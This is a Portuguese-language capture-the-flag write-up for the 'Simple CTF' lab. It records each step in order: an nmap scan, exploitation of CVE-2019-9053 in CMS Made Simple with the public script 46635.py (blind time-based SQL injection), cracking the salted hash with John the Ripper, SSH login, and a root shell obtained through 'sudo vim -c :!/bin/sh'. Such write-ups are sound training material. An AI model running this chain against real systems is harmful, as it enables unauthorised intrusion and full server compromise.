Writeup: Simple CTF

Bernardo Barros Blanco

12 de abril de 2026

1 Introdução

Este documento detalha a metodologia e os processos técnicos utilizados para a resolução do desafio "Simple CTF". O objetivo deste Capture The Flag (CTF) é realizar um teste de invasão completo, partindo do reconhecimento externo até a obtenção de privilégios de superusuário (root).

2 Fase 1: Reconhecimento e Enumeração

A fase inicial consistiu no mapeamento de portas e serviços ativos no alvo utilizando a ferramenta `nmap`.

```
$ nmap -sV 10.66.152.111
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
80/tcp   open  http    Apache httpd 2.4.18
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu
```

Listing 1: Output do comando nmap

Observações Importantes:

- A porta 80 indica um servidor web ativo.
- O serviço SSH foi identificado em uma porta não padrão (2222), o que é uma tentativa comum de "segurança por obscuridade".

3 Fase 2: Análise de Vulnerabilidades

Ao explorar o servidor web, identificamos a presença do software **CMS Made Simple (versão $<$ 2.2.10)**. Uma busca em bases de dados de vulnerabilidades revelou a **CVE-2019-9053**.

3.1 O Script de Exploração (EDB-ID: 46635)

Para explorar a falha, utilizamos o script `46635.py`, obtido através da ferramenta `searchsploit`. Este script é um exploit público hospedado no *Exploit Database*.

O que o script faz? O script automatiza um ataque de **Blind Time-based SQL Injection**. Como o sistema não retorna erros de banco de dados diretamente na tela, o script envia consultas booleanas ao servidor. Se uma afirmação for verdadeira (ex: "a primeira letra da senha é 's'?"), o servidor é instruído a pausar por alguns segundos antes de responder. O script mede esse tempo para reconstruir os dados caractere por caractere.

4 Fase 3: Exploração e Quebra de Hash

A execução do script exigiu ajustes de ambiente, incluindo a correção de sintaxe de Python 2 para Python 3 e o tratamento de codificação de caracteres na wordlist *rockyou.txt*.

```
$ python3 46635.py -u http://10.66.152.111/simple --crack -w
    rockyou.txt
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
```

Listing 2: Output da execução do script 46635.py

4.1 Cracking com John the Ripper

Devido a problemas de *encoding* no script Python durante a fase de *dictionary attack*, optamos por utilizar o **John the Ripper** para processar o hash localmente, o que é significativamente mais rápido.

```
$ echo "0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2" >
    alvo.txt
$ john --format=Dynamic_4 --wordlist=rockyou.txt alvo.txt
Loaded 1 password hash (Dynamic_4 [md5($p.$s)])
...
secret           (mitch)
```

Listing 3: Quebra de senha com John the Ripper

5 Fase 4: Acesso e Escalação de Privilégios

Com as credenciais obtidas (`mitch:secret`), realizamos o acesso via SSH pela porta 2222.

5.1 Movimentação Lateral e Escalação

Dentro do sistema, verificamos as permissões de *sudo* do usuário:

```
$ sudo -l
(root) NOPASSWD: /usr/bin/vim
```

A configuração `NOPASSWD` para o binário `/usr/bin/vim` é uma vulnerabilidade crítica de configuração. O editor de texto Vim possui uma funcionalidade de "escape"que permite executar comandos do sistema operacional.

Para obter privilégios de root, executamos:

```
$ sudo vim -c ':!/bin/sh'
```

Este comando inicia o Vim com privilégios de superusuário e imediatamente executa uma *shell* (`/bin/sh`), resultando em um prompt de comando com controle total sobre o servidor.

6 Conclusão

A resolução deste CTF demonstrou a importância da correta configuração de permissões de sistema e a necessidade de manter softwares de CMS atualizados. A cadeia de exploração iniciada por uma injeção de SQL permitiu o comprometimento total da infraestrutura devido a falhas sucessivas em diferentes camadas de segurança.